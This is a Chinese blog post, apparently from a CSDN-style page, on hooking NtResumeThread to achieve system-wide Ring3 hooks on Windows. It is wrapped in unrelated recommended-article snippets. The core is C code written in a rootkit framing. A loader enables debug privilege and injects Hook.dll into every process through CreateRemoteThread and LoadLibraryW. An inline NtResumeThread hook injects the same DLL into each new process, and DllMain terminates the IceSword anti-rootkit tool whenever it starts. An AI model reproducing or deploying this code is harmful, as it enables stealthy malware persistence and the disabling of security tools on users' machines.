挂钩 NtResumeThread 实现全局Hook

基于STM32与毫米波雷达的非接触式睡眠监测系统 物联网和嵌入式系统技术正在推动医疗健康设备的智能化发展。通过传感器网络采集生理信号,结合信号处理算法实现健康监测已成为主流技术方案。毫米波雷达凭借其非接触检测特性,在呼吸、心率等生命体征监测中展现出独特优势。STM32系列MCU凭借丰富外设和低功耗特性,成为医疗级嵌入式设备的首选平台。本系统整合60GHz毫米波雷达、红外测温与无线传输模块,构建了完整的睡眠质量评估解决方案,其硬件架构设计、信号处理算法和低功耗优化策略对可穿戴医疗设备开发具有参考价值。 阅读详情
zhouzhenster@gmail.com

zhouzhen[E.S.T]



挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。

似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然

是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,

因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是

无法接受蓝屏和死机的。



感兴趣的可以装个Rootkit unhooker 自己看看。 :)



1. 以往的Ring 3全局Hook



纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:



HHOOK SetWindowsHookEx(      

    int idHook,

    HOOKPROC lpfn,

    HINSTANCE hMod,

    DWORD dwThreadId

);



idhook   安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等

lpfn     hook procedure 的指针

hmod     包含 hook procedure DLL 的handle

dwThread 为0



使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面

的程序,Windows console 类的程序就无能为力了。



还有一种通过插入注册表来实现



HKEY_LOCAL_MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs



这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。



以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess

这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。



a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,

   而当NtCreateProcess返回时,进程又已经开始运行



b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可

   以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只

   用SetWindowsHookEx



c. 是否正好站在了华容道,是否足够底层。



似乎很费劲



2. 分析系统创建进程过程,寻找方法



关于这方面内容,可以参考毛德操老师的两篇文章



《漫谈兼容内核之十七:再谈Windows的进程创建》



《漫谈兼容内核之二十二:Windows线程的调度和运行》



下面是他的blog 链接:

http://hi.baidu.com/fatbsd/blog



CreateProcess 是 Kernel32.dll 的导出函数。



操起WinDbg,剁了一下: Windows 2003 SP2



lkd> uf CreateProcessW

kernel32!CreateProcessW:

7c802474 8bff             mov     edi,edi

7c802476 55               push    ebp

7c802477 8bec             mov     ebp,esp

7c802479 6a00             push    0x0

7c80247b ff752c           push    dword ptr [ebp+0x2c]

7c80247e ff7528           push    dword ptr [ebp+0x28]

7c802481 ff7524           push    dword ptr [ebp+0x24]

7c802484 ff7520           push    dword ptr [ebp+0x20]

7c802487 ff751c           push    dword ptr [ebp+0x1c]

7c80248a ff7518           push    dword ptr [ebp+0x18]

7c80248d ff7514           push    dword ptr [ebp+0x14]

7c802490 ff7510           push    dword ptr [ebp+0x10]

7c802493 ff750c           push    dword ptr [ebp+0xc]

7c802496 ff7508           push    dword ptr [ebp+0x8]

7c802499 6a00             push    0x0

7c80249b e8a6ac0200       call    kernel32!CreateProcessInternalW (7c82d146)

7c8024a0 5d               pop     ebp

7c8024a1 c22800           ret     0x28



lkd> uf CreateProcessInternalW

....

7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]

....

7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]

....

7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]



大概流程如下:



Kernel32!CreateProcessW

Kernel32!CreateProcessInternalW

ntdll!NtCreateProcessEx

ntdll!NtCreateThread

ntdll!NtResumeThread



因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。

所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,

但是进程并没有调度起来,呵呵,方便干坏事啊。



3. 具体代码实现



基本思路已经清晰了,这里还几个问题。



a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时

   调用的NtResumeThread呢?



其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到

NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。



b. 用什么方法Hook , IAT、Inline? 总的架构?



  这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。

  枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程

  创建时,将DLL 插入新进程。



  下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。

  Hook 也不是不是我们这次的主要内容,感兴趣的可以参考



  http://www.xfocus.net/articles/200403/681.html 



c. 在多线程的环境下是否可靠?

   

  使用关键代码段,互斥锁,效果还可以。





Loader:



void inject(HANDLE hProcess){



char CurPath[256] = {0};

    strcpy(CurPath, "C://WINDOWS//system32//Hook.dll");

    PWSTR pszLibFileRemote = NULL;





    int len = (lstrlen(CurPath)+1)*2;

    WCHAR wCurPath[256];

    MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);



    pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, 

                                             NULL, 

                                             len, 

                                             MEM_COMMIT, 

                                             PAGE_READWRITE);



    WriteProcessMemory(hProcess, pszLibFileRemote, 

            (PVOID) wCurPath, len, NULL);



    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

        GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");



    CreateRemoteThread(hProcess, 

                       NULL, 

                       0,    

                       pfnThreadRtn, 

                       pszLibFileRemote, 

                       0, 

                       NULL);



}



void TotalInject()

{

    HANDLE         hProcessSnap = NULL; 

    BOOL           bRet      = FALSE; 

    PROCESSENTRY32 pe32      = {0}; 



    //  Take a snapshot of all processes in the system. 

    EnableDebugPrivilege(1);



    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 



    if (hProcessSnap == INVALID_HANDLE_VALUE) 

        return; 



    //  Fill in the size of the structure before using it. 



    pe32.dwSize = sizeof(PROCESSENTRY32); 



    //  Walk the snapshot of the processes, and for each process, 

    //  display information. 



    if (Process32First(hProcessSnap, &pe32)) 

    { 



        do 

        { 

                HANDLE hProcess; 

                // Get the actual priority class.

                hProcess = OpenProcess (PROCESS_ALL_ACCESS, 

                                        FALSE, 

                                       pe32.th32ProcessID);

        inject(hProcess);

        CloseHandle(hProcess);

           

        } 

        while (Process32Next(hProcessSnap, &pe32)); 



    } 



    // Do not forget to clean up the snapshot object. 

        EnableDebugPrivilege(0);



    CloseHandle (hProcessSnap); 

    return ; 





}



Hook.dll: 关键代码



#include "stdafx.h"

#include <stdio.h>



BOOL g_bHook = FALSE;



typedef LONG NTSTATUS;

#define STATUS_SUCCESS               ((NTSTATUS)0x00000000L)

#define STATUS_ACCESS_DENIED         ((NTSTATUS)0xC0000022L)

#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)

typedef ULONG SYSTEM_INFORMATION_CLASS;

typedef ULONG THREADINFOCLASS;

typedef ULONG PROCESSINFOCLASS;

typedef ULONG KPRIORITY;

#define MEMORY_BASIC_INFORMATION_SIZE 28



typedef struct _THREAD_BASIC_INFORMATION {

    NTSTATUS ExitStatus;

    PNT_TIB TebBaseAddress;

    CLIENT_ID ClientId;

    KAFFINITY AffinityMask;

    KPRIORITY Priority;

    KPRIORITY BasePriority;

} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;



typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0

NTSTATUS ExitStatus;

PVOID PebBaseAddress;

KAFFINITY AffinityMask;

KPRIORITY BasePriority;

ULONG UniqueProcessId;

ULONG InheritedFromUniqueProcessId;

} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;



typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(

  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

  OUT PVOID               SystemInformation,

  IN ULONG                SystemInformationLength,

  OUT PULONG              ReturnLength OPTIONAL );



typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(

IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL

);



typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(

  IN HANDLE ThreadHandle,

  IN THREADINFOCLASS ThreadInformationClass,

  OUT PVOID ThreadInformation,

  IN ULONG ThreadInformationLength, 

  OUT PULONG ReturnLength OPTIONAL);





typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(

IN HANDLE ProcessHandle,

IN PROCESSINFOCLASS ProcessInformationClass,

OUT PVOID ProcessInformation,

IN ULONG ProcessInformationLength,

OUT PULONG ReturnLength OPTIONAL);





NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;

NTRESUMETHREAD g_pfNtResumeThread = NULL;

BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};

BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};

DWORD dwIdOld = 0;

CRITICAL_SECTION cs;



NTSTATUS __stdcall NewNtQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength);



NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL);





void WINAPI HookOn();

void WINAPI HookOff();



BOOL APIENTRY DllMain( HANDLE hModule, 

                       DWORD  ul_reason_for_call, 

                       LPVOID lpReserved )

{

    switch (ul_reason_for_call)

    {

        case DLL_PROCESS_ATTACH:

        {

             InitializeCriticalSection(&cs);

             char Name[MAX_PATH] = {0};

             GetModuleFileName(NULL, Name, MAX_PATH);

             // 杀杀冰刃玩玩

             if ( strstr(Name, "IceSword.exe") != NULL)

             {

                HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 

                                              0, 

                                              GetCurrentProcessId());

                TerminateProcess(hProcess, 0);

                CloseHandle(hProcess);

             }

            if(!g_bHook)

            {

                HookOn();

            }

            #ifdef _DEBUG

               MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);

            #endif



        }

            break;

        case DLL_THREAD_ATTACH:

            

            break;

        case DLL_THREAD_DETACH:

            break;

        case DLL_PROCESS_DETACH:

        if(g_bHook)

        {

            HookOff();

#ifdef _DEBUG

            MessageBox(NULL, "Off!", "Hook Off", MB_OK);

#endif    

            DeleteCriticalSection(&cs);

            

        }

        break;

    }



        return TRUE;

}



BOOL EnableDebugPrivilege(BOOL fEnable) {



   // Enabling the debug privilege allows the application to see

   // information about service applications

   BOOL fOk = FALSE;    // Assume function fails

   HANDLE hToken;



   // Try to open this process's access token

   if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, 

      &hToken)) {



      // Attempt to modify the "Debug" privilege

      TOKEN_PRIVILEGES tp;

      tp.PrivilegeCount = 1;

      LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

      tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

      AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

      fOk = (GetLastError() == ERROR_SUCCESS);

      CloseHandle(hToken);

   }

   return(fOk);

}



#define ThreadBasicInformation 0



void inject(HANDLE hProcess){



    char CurPath[256] = {0};

    GetSystemDirectory(CurPath, 256);

    strncat(CurPath, "//Hook.dll", 9);

    //strcpy(CurPath, "C://WINDOWS//system32//Hook.dll");

    PWSTR pszLibFileRemote = NULL;





    int len = (lstrlen(CurPath)+1)*2;

    WCHAR wCurPath[256];

    MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);



    EnableDebugPrivilege(1);



    pszLibFileRemote = (PWSTR) 

        VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);



    WriteProcessMemory(hProcess, pszLibFileRemote, 

        (PVOID) wCurPath, len, NULL);



    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

         GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");



    HANDLE hRemoteThread = CreateRemoteThread(hProcess, 

                                                      NULL, 

                                                      0, 

                                                      pfnThreadRtn, 

                                                      pszLibFileRemote, 

                                                      0, 

                                                      NULL);

    WaitForSingleObject(hRemoteThread, INFINITE);

    CloseHandle(hRemoteThread);



    EnableDebugPrivilege(0);



}



NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL)

{



    NTSTATUS ret;

    NTSTATUS nStatus;

    NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;

    NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;

    THREAD_BASIC_INFORMATION ti;

    DWORD Pid = 0;



    HMODULE hNtdll = GetModuleHandle("ntdll.dll");



    NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, 

                                                             "NtQuerySystemInformation");

    NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll, 

                                                             "NtQueryInformationThread");



    if (NtQueryInformationThread == NULL)

    {

#ifdef _DEBUG

        MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);

#endif    

        

    }

    

    nStatus = NtQueryInformationThread(ThreadHandle, 

                                           ThreadBasicInformation, 

                                           (PVOID)&ti, 

                       sizeof(THREAD_BASIC_INFORMATION), 

                                           NULL);



    if(nStatus != STATUS_SUCCESS)

    {

#ifdef _DEBUG

        MessageBox(NULL, "fuck failed", "", MB_OK);

#endif

        

    }



    Pid = (DWORD)(ti.ClientId.UniqueProcess);



    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);



    if (hProcess == NULL)

    {

#ifdef _DEBUG

        MessageBox(NULL, "open process failed", "", MB_OK);

#endif

    }



    BYTE FirstByte[1] = {0};

    // check if the process has been hooked

    ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL); 



    // 已经被Hook了

    if ( FirstByte[0] == 0xe9)

    {



       HookOff();

       ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);

       HookOn();



       CloseHandle(hProcess);



       return ret;

    }

    // 创建新进程的调用,Hook 之

    else

    {

        HookOff();

        inject(hProcess);

        ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);

        HookOn();



        CloseHandle(hProcess);

        return ret;

    }

}



NTSTATUS __stdcall NewNtQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength)

{

    NTSTATUS ntStatus;



    HookOff();

    ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,

                                                SystemInformation,

                                                SystemInformationLength,

                                                ReturnLength);

    HookOn();



   return ntStatus;

}





void WINAPI HookOn()

{

    PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;

    DWORD dwOldProtect, dwOldProtect2;

    HANDLE hProcess = NULL;



    

    dwIdOld = GetCurrentProcessId(); 

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);

    if(hProcess == NULL)

    return ;



     HMODULE hNtdll = GetModuleHandle("ntdll.dll");

     g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, 

                                                    "NtQuerySystemInformation");



     if (g_pfNtQuerySystemInformation == NULL)

     {

         return;

     }



     g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");



     if (g_pfNtResumeThread == NULL)

     {

         return;

     }

    

     EnterCriticalSection(&cs);



    _asm

    {

        lea edi,g_OldNtQuerySystemInformation

        mov esi,g_pfNtQuerySystemInformation

        cld

        mov ecx,5

        rep movsb

        lea edi,g_OldNtResumeThread

        mov esi,g_pfNtResumeThread

        cld

        mov ecx,5

        rep movsb

    }



    g_NewNtQuerySystemInformation[0] = 0xe9;

    g_NewNtResumeThread[0] = 0xe9;

    _asm

    {

        lea eax, NewNtQuerySystemInformation

        mov ebx, g_pfNtQuerySystemInformation

        sub eax, ebx

        sub eax, 5 

        mov dword ptr [g_NewNtQuerySystemInformation + 1], eax 

        lea eax, NewNtResumeThread

        mov ebx, g_pfNtResumeThread

        sub eax, ebx

        sub eax, 5

        mov dword ptr [g_NewNtResumeThread + 1], eax

    }

    .......

    LeaveCriticalSection(&cs);



    g_bHook = TRUE;

}



// 还原被修改的代码

void WINAPI HookOff()

{

    ......

    g_bHook = FALSE;

}



4. 参考资料



Microsoft MSDN,SDK & DDK

《Windows NT 2000 Native API Reference》

《Windows 核心编程》

《挂钩Windows API》

《如何在Windows NT中隐藏自己》



#

# EOF
ADS基础教程23 - 有限元电磁仿真(FEM)可视化操作 一、引言 二、FEM可视化操作流程1.打开可视化界面2.查看介质的网格3.设置网格颜色4.选择网格5.传感器选择6.编辑传感器7.选择频率8.动画 三、总结介绍了在ADS中如何进行FEM仿真场视图操作过程。 阅读详情

相关推荐

解决VMware与Hyper-V/Device Guard冲突的实用指南

本文详细解析了VMware与Hyper-V/Device Guard冲突的根源,并提供了三种实用的解决方案:彻底关闭相关功能、通过启动配置实现选择性引导,以及使用VMware Workstation Pro的Hyper-V兼容模式。指南包含清晰的诊断步骤、操作命令和避坑建议,帮助用户根据自身需求灵活选择,实现虚拟化环境的稳定运行或高效共存。

weixin_29306317的博客 684

NtQuerySystemInformation判断线程是否被挂起/判断线程状态

http://www.buguw.com/ntquerysysteminformation%e5%88%a4%e6%96%ad%e7%ba%bf%e7%a8%8b%e6%98%af%e5%90%a6%e8%a2%ab%e6%8c%82%e8%b5%b7%e5%88%a4%e6%96%ad%e7%ba%bf%e7%a8%8b%e7%8a%b6%e6%80%81.html

killalarm的专栏 6553

西门子1500T插补控制实战:从硬件组态到轨迹规划

本文详细解析了西门子1500T插补控制的完整实战流程。从硬件组态中正确选择带T的CPU和配置报文105,到创建同步轴与插补器工艺对象,再到使用MC_Interpolator功能块编程实现直线与圆弧插补,并分享了调试技巧与常见问题解决方案,为工程师实现高精度复杂轨迹规划提供清晰指导。

weixin_29228781的博客 423

线程入口地址 类封装

#pragma once typedef LONG NTSTATUS; typedef NTSTATUS(WINAPI *NTQUERYINFORMATIONTHREAD)( HANDLE ThreadHandle, ULONG ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength, ...

889

【mysql8.0.33安装详情教程】

8、进入Account and Roles界面,输入密码,再点击next(密码随便输,自己记住就行)11、进入Apply Configuration界面,直接点Execute,等待应用成功。14、输入密码,点击check,检查是否正确。3、下图是选择安装类型,选择默认安装就可以,然后点击“next”。5、进入Product Configuration,点击next。9、进入Windows Service界面,直接点击next。15、点击Execute执行安装(完成后点击Finish)二、验证是否安装成功。

98渣渣辉的博客 2112

微波射频学习笔记18-------偶极子天线和微波天线设计介绍

几种天线设计方法的介绍 一、偶极子天线 1.天线模型 两根紧挨着的金属导体,长度均为四分之一波长,直径均远小于波长,两导体间距也远小于波长。 2.天线性能的设计因素 ① 单个导体长度L:(光速/频率)/4=四分之一波长(在空气中传播的波长),但在导体中传播,波长会变短; ② 导体半径R:远小于波长即可,使用导电率高些的材料,市面上常见直径零点几毫米就挺好,或者用波长/200,得出一个小200的值,也算远小于波长; ③ 两导体间距S:远小于波长即可,可以比半径更小点。 以上三个变量L、R、S,均可在仿真软件

Sil_sprout 1万+

r77-Rootkit后渗透技战术分析

r77-Rootkit是一个Ring3级别的Rootkit。Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit并不一定是用作获得系统root访问权限的工具。比起攻击,Rootkit更倾向于被使用于隐藏踪迹和保留root访问权限的工具。

m0_71746299的博客 2841

华中科技大学 计算机组成原理 educoder Logisim平台 计算机数据表示实验

本文主要是对 计算机数据表示实验的笔记和相关Logisim平台的图,供大家学习交流使用。 需要源文件或者源代码,可以留言评论! 目录实验目的第1关:汉字国标码转区位码实验第2关:汉字机内码获取实验第3关:偶校验编码设计第4关:偶校验解码电路设计第5关:16位海明编码电路设计第6关:16位海明解码电路设计第7关:海明编码流水传输实验第8关:16位CRC并行编解码电路设计第9关:CRC编码流水传输实验实验结果: 实验目的 本实训将帮助同学们巩固对计算机中数据表示方法的理解,要求能设计汉字国标码与区位码之间的转换

weixin_48383580的博客 2万+

Hook :挂钩 NtResumeThread 实现全局Hook

挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。 似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然 是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的, 因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技

it技术学习 3669

Python 爬虫实战:爬取股票数据做 K 线图可视化

摘要:本文介绍基于Python的股票数据爬取与K线图可视化全流程技术方案。通过Requests库抓取东方财富网股票数据,使用Pandas进行清洗处理,并利用mplfinance库实现专业K线图绘制。文章详细讲解了数据爬取接口分析、反爬策略配置、K线图绘制方法(包含基础K线图和带均线的进阶版本),以及核心统计指标计算。该方案可应用于股票价格趋势分析,为投资决策提供数据支持,同时强调了数据使用的合规性和技术优化方向。

2503_91057718的博客 2045

YOLOv12改进策略【注意力机制篇】| 添加SE、CBAM、ECA、CA、Swin Transformer等注意力和多头注意力机制

这篇文章带来一个经典注意力模块的汇总,虽然有些模块已经发布很久了,但后续的注意力模块也都是在此基础之上进行改进的,对于初学者来说还是有必要去学习了解一下,以加深对模块,模型的理解。

Limiiiing的博客 1509

挂钩 NtResumeThread 实现全局Hook .

挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。 似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然 是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的, 因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技

fanpeii的专栏 1204

SAP 成本分摊逻辑与案例(含具体数据)

摘要: SAP成本分摊通过**分配(Allocation)与分摊(Assessment)**两种方式,将间接成本中心费用按预设规则(如人数、工时、比例等)结转至直接成本对象。分配保留原始成本要素(如电费、工资),适用于需明细追踪的场景;分摊则打包为次级成本要素(如管理费用),简化核算。实操案例涵盖行政费用分配(按人数)、水电车间分摊(按工时)、机修作业分摊(作业成本法)及内部订单结算,系统通过KSV1/KSU1配置循环规则,KSV5/KSU5执行结转。关键点在于选择匹配业务的分摊基础,合理配置次级成本要素,

金牌架构师 550

API拦截--实现ring3全局hook

API拦截——实现Ring3全局HOOK 首先来解释一下这次的目标。由于windows的copy-on-write机制(Ring0下可以用CR0寄存器关掉它),Ring3下的HOOK只对当前进程有效,其他进程的API还是正常的。这就是说我们必须枚举进程,然后对每个Ring3进程执行一遍HOOK操作。 但是,系统中总有新进程产生,对于这些新进程我们怎么处理呢?最容易想到的就是设置一个TIMER,每隔...

hijacker0000的博客 3169

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

API拦截—实现Ring3全局HOOK

       魏滔序注:本转载内容仅用来技术研究,请勿于损人害己之用。       首先来解释一下这次的目标。由于windows的copy-on-write机制(Ring0下可以用CR0寄存器关掉它),Ring3下的HOOK只对当前进程有效,其他进程的API还是正常的。这就是说我们必须枚举进程,然后对每个Ring3进程执行一遍HOOK操作。但是,系统中总有新进程产生,对于这些新进程我们怎么处理

迈克揉索芙特 4761

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

WINDOWS NT下的禁止关机

<br />WINDOWS NT下的禁止关机<br /><br />WINDOWS将核心代码封装,而仅仅提供接口API,也就是说,你只需要根据说明书来操作遥控板,而不需要自己去研究遥控板是怎么<br />实现的。<br />同样的,如果你想关机,那么流程如下:<br />    调用系统关机API--送入该API必要的参数--转由系统执行关机<br /><br />一、用OD载入c:/windows/system32/shutdown.exe后,可以看到它调用的相关API:<br />ExitWindows

ty1921的学习历程 3076

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

[笔记]Windows核心编程《番外篇》常用的NT API及使用示例

文章目录前言NtQueryInformationProcess函数原型附录用例总结 前言 NTAPI:泛指ntdll.dll模块不对外提供的API接口 一般通过动态载入库的方式(LoadLibrary + GetProcAddress)调用 NtQueryInformationProcess NtQueryInformationProcess NtQueryInformationProcess用法 函数原型 NTSYSCALLAPI NTSTATUS NTAPI NtQueryInformationPro

二次元怪兽的博客 2272

NtQueryInformationThread 0x9 ThreadQuerySetWin32StartAddress 问题

根据MSDN If this parameter is the ThreadQuerySetWin32StartAddress value of the THREADINFOCLASS enumeration, the function returns the start address of the thread. Note that on versions of Windows prior t...

你连心爱的女人的大便都不敢吃, 还敢说爱她 1301

使用 NtQuerySystemInformation 遍历进程信息

通过遍历系统进程信息,我们可以了解系统中运行的各种进程的详细信息,从而更好地进行系统管理和性能优化。本文介绍了一种通过调用 Windows 系统API来获取并遍历系统进程信息的技术,并提供了一段示例代码以帮助读者理解该技术的实现方法。

溡漪幽博客 3097

利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

本文讲的是利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过, 0x00 前言 在上篇文章《渗透技巧——Windows日志的删除与绕过》中提到一个绕过Windows日志监控的思路:使用API NtQueryInformationThread和I_QueryTagIn...

weixin_33895016的博客 1783
上一篇: MS08-012 Vulnerabilities in Microsoft Office Publisher Could Allow Remote Code exploit
下一篇: T-Cmd v1.0
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值